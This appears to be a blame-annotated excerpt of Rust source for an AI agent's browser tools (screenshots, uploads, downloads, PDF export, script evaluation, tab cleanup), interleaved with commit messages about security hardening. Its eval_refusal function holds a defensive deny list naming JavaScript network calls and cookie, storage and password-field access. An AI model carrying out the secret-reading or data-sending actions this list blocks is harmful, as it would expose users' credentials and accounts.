Bots work like someone who knows the computer: they know each machine, reach what they see, plan, and hand the planned steps to a quick model Measured on the bot's own box (8 tasks x 2, grok-4.7): 14/16 done, 120 steps, 1114 s before; 16/16, 102 steps, 574 s after (model time 1015 -> 471 s). A replayed skill: 49 s -> 15 s. Knowing the machine - facts.rs: 電腦現況 per computer (system, desktop, systemd, sudo, network, package manager, tools, apps, a fixed TZ), read once by a small read-only probe, kept 30 min, in the instructions at the start of a turn. - The box's sudo is the bot's: only what follows sudo is checked against the always-denied list (it was refused outright, while the instructions said it could sudo), and commands with sudo run as the box's root (setuid does nothing under gVisor). - Box image v8 drops ENV TZ=UTC (it overrode /etc/localtime). ANYBOT_BOX_IMAGE / ANYBOT_BOX_VOLUME give a throwaway box its own image and volume, never adopting the real one. - Mac shell sandbox: App Store app CLIs (they carry their own app sandbox) and ps/top run outside it; plain `osascript -e` too, asked the first time even in direct mode, refusing do shell script, terminals, keystrokes, file reads, ObjC and the secret folders. A command the sandbox broke says so, instead of looking like a broken program. Reaching what it sees - The Mac menu bar's status icons are numbered (each app's AXExtrasMenuBar, named from inside for the system's own), computer_use_zoom looks closer at full sharpness. - Numbers stay with their controls from look to look (they were reassigned every look, so a step's second click landed elsewhere); the box's front window is listed first; a control can be named instead of numbered (name "4"). - Web page numbering walks open shadow DOM (Chromium settings, web components). - A box on a Docker host elsewhere retries the next port when the usual one is taken (a retry without it came up with no network). Working like a person - Instructions: pick the route, know what done looks like, one route, check once, say what's stuck instead of faking it with a substitute, ask before cutting the connection. - StepPlan: the bot's model takes the first step, the step after trouble (failed, refused, repeated, nothing changed on screen, the quick model switching routes), one in four, and the final check; a quick model (Bot.step_model, auto: grok-4.20-0309-non-reasoning on xAI) does the planned steps in between, falling back to the bot's model if it can't be used. - Skills keep the steps that worked (with what each acted on, not numbers); replay_skill does them again with no model in between, finding each control again, handing back on a mismatch. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha5F5gJt93t3yEx3XcS
2026-11-09 01:01:03 +00:00
tab.eval(&MARKS_JS.replace("%DEEP%", DEEP_JS))?;
let in_view: std::collections::HashSet<String> = tab.eval(&format!("(() => {{ {DEEP_JS} return JSON.stringify(deepAll('[data-anybot-ref]').filter(e => {{ const r = e.getBoundingClientRect(); return r.bottom > 0 && r.top < innerHeight && r.right > 0 && r.left < innerWidth && r.width > 1; }}).map(e => e.getAttribute('data-anybot-ref'))); }})()"))?.as_str().and_then(|s| serde_json::from_str(s).ok()).unwrap_or_default();
listed = list.into_iter().filter(|l| l.strip_prefix('[').and_then(|r| r.split(']').next()).map(|n| in_view.contains(n)).unwrap_or(false)).collect();
settle(120);
}
if !rf.is_empty() || !text.is_empty() {
let v = tab.eval(&format!("(() => {{ const el = {}; if (!el) return null; el.scrollIntoView({{block: 'center'}}); const r = el.getBoundingClientRect(); return JSON.stringify([r.left + scrollX, r.top + scrollY, r.width, r.height]); }})()", find_js(&rf, &text)))?;
let r: Vec<f64> = v.as_str().and_then(|s| serde_json::from_str(s).ok()).ok_or("找不到那個元素")?;
settle(300);
params["clip"] = json!({"x": r[0], "y": r[1], "width": r[2].max(1.0), "height": r[3].max(1.0), "scale": 1});
params["captureBeyondViewport"] = json!(true);
} else if args["full"].as_bool().unwrap_or(false) {
let m = tab.call("Page.getLayoutMetrics", json!({}))?;
let (w, h) = (m["cssContentSize"]["width"].as_f64().unwrap_or(1280.0), m["cssContentSize"]["height"].as_f64().unwrap_or(2000.0).min(12000.0));
params["clip"] = json!({"x": 0, "y": 0, "width": w, "height": h, "scale": 1});
params["captureBeyondViewport"] = json!(true);
}
let r = tab.call("Page.captureScreenshot", params);
if marks {
let _ = tab.eval("(() => { const o = document.getElementById('__anybot_marks'); if (o) o.remove(); return 1; })()");
}
let r = r?;
let b64 = r["data"].as_str().ok_or("截圖失敗")?.to_string();
// Keep pictures a sensible size for the model.
let b64 = shrink(&b64).unwrap_or(b64);
let (title, url, _) = snapshot(&mut tab);
let mut text_out = format!("AnyBot 瀏覽器分頁的截圖:{title}\n網址:{url}");
if marks && !listed.is_empty() {
text_out.push_str(&format!("\n圖上紅框裡的數字就是元素編號,用 browser_click 的 ref 點它:\n{}", listed.join("\n")));
}
Ok((text_out, Some(b64)))
}
"browser_back" => {
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
let sig = page_sig(&mut tab);
let before = snapshot(&mut tab);
match s(args, "direction").as_str() {
"forward" => tab.eval("history.forward()").map(|_| ())?,
"reload" => tab.call("Page.reload", json!({})).map(|_| ())?,
_ => tab.eval("history.back()").map(|_| ())?,
}
Whole control flow checked against real chats: what the bot sees is what is there, every step lands, nothing done twice Web - web_fetch kept pages with a <header> only up to it (taken for <head>): articles came back as their menus. - browser_open waits for the page to load and returns it like browser_read (one step fewer per page); actions wait for the page to hold still instead of fixed 1-2.5 s sleeps; one way to reach the tab. The bot's computer (box v6) - Numbers only on what can be seen: clipped to the window and the page's visible area, none under another app's window (a link scrolled under the toolbar was numbered on Back). - press_key with a typed character no longer swallows the keys after it (xdotool type --args 1). - The person's input through noVNC/TigerVNC is noticed again (fence, continuous updates, QEMU keys). - "Nothing changed" only after clicks, scrolls and drags; long text is pasted; one screen step at a time; one docker inspect per step when the box is known ready; poppler-utils for long PDFs. - One typing path and fewer round trips (stdin variant, unused picture path, extra batch execs gone). The person's computers - Linux: the window system's front app when it has one, and the reason when there is none (was 「」); hidden and off-screen controls get no number; wording no longer names a tool that doesn't exist. The loop - Without Docker, the bot's own computer runs no commands where there is no sandbox (Linux, Windows): it was a plain shell on the brain itself, keys in reach, asked nothing. - The bot's own computer is re-checked each step; unreachable computers are failures, not safety blocks; no direct-mode note on every result; an empty reply is asked again; scrolling and keys aren't counted as going in circles; steps aren't moved to a computer that can't do them. - One finish() for every step's result, keep_grant(), dead appctl list_computers/SERVING and the impossible server branches removed; duplicated prompt instructions merged. Tests: 162 (Mac) / 166 (Linux) unit; real box drills 6/6 on box v6; a brain without Chrome browses on its box; remote E2E 28/28. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01Uirha2RVfSYmrhqNnqx9Z4
2026-11-06 09:44:59 +00:00
settle_after(&mut tab, &sig, 900, 5000);
let after = snapshot(&mut tab);
Ok((format!("好了。\n{}", changes(&before, &after)), None))
}
"browser_upload" => {
let path = s(args, "path");
// The browser opens the file from its own disk: Bot 的電腦's when it runs there.
let in_box = botbrowser::using_box();
2026-11-11 08:19:06 +00:00
if !in_box {
let p = crate::tools::expand_home(&path);
let real = std::fs::canonicalize(&p).unwrap_or_else(|_| p.clone());
if crate::tools::is_ignored(&p) || crate::tools::is_ignored(&real) || crate::tools::is_ignored(std::path::Path::new(&path)) {
return Err("這個檔案是機密的,不能上傳到網頁".into());
}
}
let full = if in_box { crate::cloudbox::box_path(&path) } else { crate::tools::expand_home(&path).display().to_string() };
let there = if in_box { crate::cloudbox::box_has_file(&full) } else { std::path::Path::new(&full).is_file() };
if !there {
return Err(format!("這台電腦上沒有「{path}」這個檔案"));
}
let js = format!("(() => {{ let el = {}; if (el && el.tagName !== 'INPUT') el = el.querySelector('input[type=file]') || el.closest('label')?.querySelector('input[type=file]'); return el || document.querySelector('input[type=file]'); }})()", find_js(&rf, &text));
let r = tab.call("Runtime.evaluate", json!({"expression": js, "returnByValue": false}))?;
let obj = r["result"]["objectId"].as_str().ok_or("這一頁找不到上傳檔案的欄位")?.to_string();
let before = snapshot(&mut tab);
tab.call("DOM.setFileInputFiles", json!({"files": [full], "objectId": obj}))?;
tab.eval(&format!("(() => {{ const el = {js}; if (el) el.dispatchEvent(new Event('change', {{bubbles: true}})); return 1; }})()"))?;
settle(1000);
// What the field holds now (a page that shows nothing about it left the bot
// checking with five more steps), and what the page did with it.
let held = tab.eval(&format!("(() => {{ const el = {js}; return el && el.files ? Array.from(el.files).map(f => f.name + '(' + f.size + ' 位元組)').join('、') : ''; }})()")).ok().and_then(|v| v.as_str().map(String::from)).unwrap_or_default();
if held.is_empty() {
return Err(format!("放了 {full},但上傳欄位還是空的(這一頁可能要先按「上傳」之類的按鈕,或欄位不是這一個)。"));
}
let after = snapshot(&mut tab);
let seen = changes(&before, &after);
let seen = if seen.contains("沒有變化") { String::new() } else { format!("\n{seen}") };
Ok((format!("已把 {full} 放進上傳欄位,欄位裡現在是:{held}。{seen}"), None))
}
"browser_download" => {
// The file lands on the browser's own disk: Bot 的電腦's when it runs there.
let in_box = botbrowser::using_box();
let dir = if in_box { crate::cloudbox::BOX_DOWNLOADS.to_string() } else { downloads_dir().display().to_string() };
if in_box {
crate::cloudbox::box_mkdir(&dir)?;
}
let clicked_at = std::time::SystemTime::now() - Duration::from_secs(1);
let set = tab.call("Browser.setDownloadBehavior", json!({"behavior": "allow", "downloadPath": dir, "eventsEnabled": false})).or_else(|_| tab.call("Page.setDownloadBehavior", json!({"behavior": "allow", "downloadPath": dir})));
// A Firefox that can't be told where saves to its own Downloads folder: watch that.
let dir = match set {
Ok(_) => dir,
Err(_) if tab.is_firefox() && !in_box => dirs::download_dir().unwrap_or_else(std::env::temp_dir).display().to_string(),
Err(e) => return Err(e),
};
let (x, y, what) = locate(&mut tab, &rf, &text)?;
click_at(&mut tab, x, y, "left", 1)?;
let start = Instant::now();
while start.elapsed().as_secs() < 60 {
settle(700);
// A new file, or one written again since the click (same name replaced).
let now: Vec<String> = if in_box {
crate::cloudbox::box_new_files(&dir, clicked_at.duration_since(std::time::UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0))
} else {
std::fs::read_dir(&dir).map(|r| r.flatten().filter(|e| e.metadata().and_then(|m| m.modified()).map(|t| t >= clicked_at).unwrap_or(false)).map(|e| e.path().display().to_string()).collect()).unwrap_or_default()
};
if let Some(f) = now.iter().find(|p| !(p.ends_with(".crdownload") || p.ends_with(".tmp") || p.ends_with(".part"))) {
return Ok((format!("已點 {what},下載好了:{f}(可以用 read_file 讀它)"), None));
}
}
Err(format!("已點 {what},但 60 秒內沒有下載到檔案(有些網站要先選格式或日期,或在新分頁產生報表)。"))
}
"browser_pdf" => {
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
if tab.eval("!!window.__anybot_vault_tainted").ok().and_then(|v| v.as_bool()) == Some(true) {
return Err("這一頁剛填入了保險庫機密,不能匯出成 PDF,以免卡號或密碼外洩。".into());
}
let r = tab.call("Page.printToPDF", json!({"printBackground": true}))?;
use base64::Engine;
let bytes = base64::engine::general_purpose::STANDARD.decode(r["data"].as_str().unwrap_or("")).map_err(|e| e.to_string())?;
let (title, _, _) = snapshot(&mut tab);
let safe: String = title.chars().filter(|c| !"/\\:*?\"<>|".contains(*c)).take(60).collect();
let name = format!("{}-{}.pdf", if safe.trim().is_empty() { "網頁".into() } else { safe }, chrono::Utc::now().with_timezone(&crate::routines::person_tz()).format("%Y%m%d-%H%M%S"));
// Saved where the bot can open it: on Bot 的電腦 when that's the browser's computer.
let path = if botbrowser::using_box() {
let p = format!("{}/{name}", crate::cloudbox::BOX_DOWNLOADS);
crate::cloudbox::box_write(&p, &bytes)?;
p
} else {
let p = downloads_dir().join(name);
std::fs::write(&p, bytes).map_err(|e| e.to_string())?;
p.display().to_string()
};
Ok((format!("已存成 PDF:{path}"), None))
}
"browser_dialog" => {
let mut p = json!({"accept": args["accept"].as_bool().unwrap_or(true)});
if !s(args, "text").is_empty() {
p["promptText"] = json!(s(args, "text"));
}
tab.call("Page.handleJavaScriptDialog", p).map_err(|_| "現在沒有對話框".to_string())?;
Ok(("已處理對話框。".into(), None))
}
"browser_eval" => {
let script = s(args, "script");
if let Some(bad) = eval_refusal(&script) {
return Err(bad);
}
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
if tab.eval("!!window.__anybot_vault_tainted").ok().and_then(|v| v.as_bool()) == Some(true) {
return Err("這一頁剛填入了保險庫的密碼或付款卡號,為了保護機密不讓模型讀到,不能在這一頁執行 browser_eval。請改用 browser_click 或 browser_read。".into());
}
let v = tab.eval(&script)?;
let out = if v.is_string() { v.as_str().unwrap_or("").to_string() } else { serde_json::to_string_pretty(&v).unwrap_or_default() };
Ok((out.chars().take(20000).collect(), None))
}
other => Err(format!("沒有「{other}」這個工具")),
}
})();
tab.close();
r
}
/// browser_eval only reads the page: no requests to the site's servers, no navigation, no
2026-11-11 08:19:06 +00:00
/// submitting, and no reading cookies/storage secrets. Calling a site's private APIs gets
/// accounts flagged (Shopee answered with a captcha).
pub fn eval_refusal(script: &str) -> Option<String> {
2026-11-11 08:19:06 +00:00
let l: String = script.chars().filter(|c| !c.is_whitespace()).collect::<String>().to_lowercase();
let banned = [
"fetch(", "xmlhttprequest", "sendbeacon", "websocket(", "eventsource(", ".submit(",
"location=", "location.href=", "location.assign", "location.replace", "window.open(",
"document.cookie", "localstorage", "sessionstorage", "indexeddb",
"import(", "navigator.serviceworker", "window.fetch=", "eval(", "function(",
安全、修正: harden sandboxes, approval gates, vault, relay roles, and fix protocol/UI bugs - macOS 沙盒與工具 (tools.rs, policy.rs, docindex.rs): block AppleScript raw events and concatenation outside the sandbox; stop exposing ~/.ssh or localhost sockets in Sealed mode; deny writes to shell profiles, LaunchAgents and .git/hooks; expand secret-file ignores and enforce symlink/policy checks across SSH, device and document search. - 電腦操作與遮罩 (computer.rs, agent.rs, marks.rs, desktop.rs, cloudbox.rs, portal.rs): forbid clicking or typing into AnyBot's own windows; extend the sensitive-action hard gate to raw coordinates, Return/Delete submits and remote devices; stop batch steps if the front app changes; black out secrets on zoom, show, >600-node trees, adjacent OTP labels, box screenshots and control text lists; preserve non-text Wayland clipboards. - 保險庫與瀏覽器 (vault.rs, vault_store.rs, browser.rs, botbrowser.rs, web.rs, box/browser): verify tab host and HTTPS atomically at fill time; taint filled tabs against browser_eval and PDF export while masking card/CVC values and screenshots; remember sites only on always-allow; drop --remote-allow-origins=*; gate private URLs and block metadata/Docker ports, OrbStack 198.18/15 and IPv6 transition ranges. - 帳號伺服器、同步與傳送 (relay/, remote.rs, mirror_ui.rs, share.rs, drops.rs): isolate paired hands hosts from brain sync, tickets, pairing and backup overwrites; redact routine trigger secrets and clear REDACTED when endpoints change; isolate channel and team-member turns from owner memories, appctl and grants; scrub shared bot exports and reset grants/routines on import; validate drop IDs and serialize chunk writes. - 網路與協定穩定性 (httpd.rs, tunnel.rs, vnc.rs, Caddyfile*): fix chunked integer overflow and CRLF header injection; enforce Origin checks, connection/job caps, 200 MB backup reads, unique atomic temp files and ASCII hex guards; bound deflate unzip and VNC sniff buffers; move VNC stdin/text off the tunnel loop. - 介面、排程、語言與其他修正 (app.rs, i18n.rs, providers.rs, skills.rs, routines.rs, setup.rs, store.rs, preview.rs, attach.rs, speech.rs, teams.rs, mcp.rs, voice.rs): wire up the delete-routine confirmation dialog and mirror run-now; preserve unsaved mirror edits across brief disconnects; give Chinese skills distinct folders and approval gates; convert parsed tool JSON fields without corrupting code fences, URLs or paths; fix Hourly DST offsets and time out unattended routine approvals; lock --install-skill, cap docx/xlsx unzip sizes, isolate test env keys, and tighten local file permissions. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-11-12 06:34:10 +00:00
"type=password", "type='password'", "type=\"password\"", "data-anybot-vault-secret", "__anybot_vault_tainted",
"newimage(", "document[", "window[", "globalThis[", "self[",
2026-11-11 08:19:06 +00:00
];
banned.iter().find(|b| l.contains(*b)).map(|b| {
2026-11-11 08:19:06 +00:00
format!("browser_eval 只能讀取頁面上已經有的東西,不能發送請求、讀取憑證或改變網站(不允許 {b})。請像人一樣用 browser_click / browser_type / browser_select 操作頁面;直接呼叫網站的內部 API 會被當成機器人(例如跳出拼圖驗證)。")
})
}
/// Re-encode a screenshot no wider than 1280 px.
fn shrink(b64: &str) -> Option<String> {
use base64::Engine;
let bytes = base64::engine::general_purpose::STANDARD.decode(b64).ok()?;
let img = image::load_from_memory(&bytes).ok()?;
let img = if img.width() > 1280 { img.resize(1280, u32::MAX, image::imageops::FilterType::Triangle) } else { img };
let img = if img.height() > 4000 { img.crop_imm(0, 0, img.width(), 4000) } else { img };
let mut out = std::io::Cursor::new(vec![]);
image::codecs::jpeg::JpegEncoder::new_with_quality(&mut out, 72).encode_image(&img.to_rgb8()).ok()?;
Some(base64::engine::general_purpose::STANDARD.encode(out.into_inner()))
}
/// A job is done with this browser: keep the page it ended on, close the rest (the list is
/// latest-used first). A browser that isn't open stays closed. Not offered to the model; the
/// loop calls it (browser_tabs action "tidy") when a job ends.
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
fn tidy(profile: Option<&str>, close_window: bool) -> Result<String, String> {
let job = botbrowser::job();
// (Its tabs are nobody's from here on, whatever happens below.)
let mine = if job.is_empty() { vec![] } else { botbrowser::release(&job) };
let Some(port) = botbrowser::running_port(profile) else { return Ok("瀏覽器沒有開著。".into()) };
let kind = botbrowser::kind_of(profile);
let list = botbrowser::pages_of(kind, port)?;
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
match tidy_plan(&job, close_window && !botbrowser::using_box(), &list, &mine, botbrowser::others_tab) {
Tidy::Quit => {
botbrowser::quit(profile)?;
Ok("用完了,瀏覽器視窗已關掉(登入都還在)。".into())
}
Tidy::Tabs(ids) => {
let closed = ids.iter().filter(|id| botbrowser::close_tab(kind, port, id).is_ok()).count();
Ok(format!("關了 {closed} 個用完的分頁。"))
}
}
}
#[derive(Debug, PartialEq)]
enum Tidy {
/// Close the whole browser.
Quit,
/// Close these tabs.
Tabs(Vec<String>),
}
/// What a job's end closes in a browser (`list`: its tabs, latest-used first; `mine`: the job's).
/// With `close_window`, the whole browser when no other running job has a tab there — its
/// windows used to stay open after every job, five Firefox profiles at once on a small machine —
/// else all the job's tabs. Without it, the job's tabs but its latest (the page it ended on).
fn tidy_plan(job: &str, close_window: bool, list: &[Value], mine: &[String], others: impl Fn(&str) -> bool) -> Tidy {
let id = |t: &Value| t["id"].as_str().unwrap_or("").to_string();
if job.is_empty() {
// (An older brain that doesn't say which job: the old way, all but the front page.)
fix: Linux 操作恢復順暢——保險箱空的不給填入工具、同一個錯誤不再鬼打牆;Wayland 可一律允許、長網頁有編號、Enter 只看游標那格;做完就關掉瀏覽器 一台 Linux(Ubuntu 26.04、X11)上一輪 Threads 海巡 40 分鐘只送出 1 則:小模型一直誤叫保險箱填入(171 次),而 4b53ad4 之後回的是「沒有開著的分頁,請先 browser_open」,Bot 照做又再誤叫。 - 保險箱:只給有東西可填的種類(空的就沒有 vault 工具、browser 也沒有 fill);填入先查 id 在不在,錯誤講對、指向 type;規劃與填入都在這個任務自己的分頁上(本機、box、遠端手腳) - 同一個工具連續 3 次回一樣的錯誤(換參數也一樣):這一回合不再執行 - Wayland(GNOME/KDE,wlroots 的座標點擊)認不出 App 時,改給「操作這台電腦的螢幕」一律允許(一律允許清單裡可移除) - 元素樹走訪上限 4000 → 20000:長網頁捲下去,看得到的部分也有編號 - 敏感動作關卡:Enter/送出只看游標所在(或正在打字)的欄位;座標點擊只看點到的最內層控制項;英文整字比對(PayPal 不是 pay);步驟在別台電腦時不查大腦本機的編號 - 打字先點欄位再檢查最前面是不是 AnyBot;批次從 AnyBot 切到要操作的 App 不再中斷,切到第三個 App 或回到 AnyBot 才停 - 估算對話長度只算真的會送出的最新 3 張截圖 - 做完就關掉瀏覽器(設定 › 電腦 › AnyBot 瀏覽器設定檔,預設開):一輪結束關掉用過的 Firefox/Chrome,別的 Bot 還在用就只關自己的分頁;box 的 Chromium 不變 Mac 444、Linux 448 個測試通過;Firefox 收尾實機測試(Mac、Linux Snap 版)通過;已在那台 Linux 上部署驗證。 Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 08:21:32 +00:00
return Tidy::Tabs(list.iter().skip(1).map(id).collect());
}
if close_window && !list.iter().any(|t| others(&id(t))) {
return Tidy::Quit;
}
let own: Vec<String> = list.iter().map(id).filter(|i| mine.contains(i)).collect();
// Other jobs' tabs and the person's are left alone.
Tidy::Tabs(own.into_iter().skip(if close_window { 0 } else { 1 }).collect())
}
fn tabs(args: &Value, profile: Option<&str>) -> Result<String, String> {
if s(args, "action") == "tidy" {
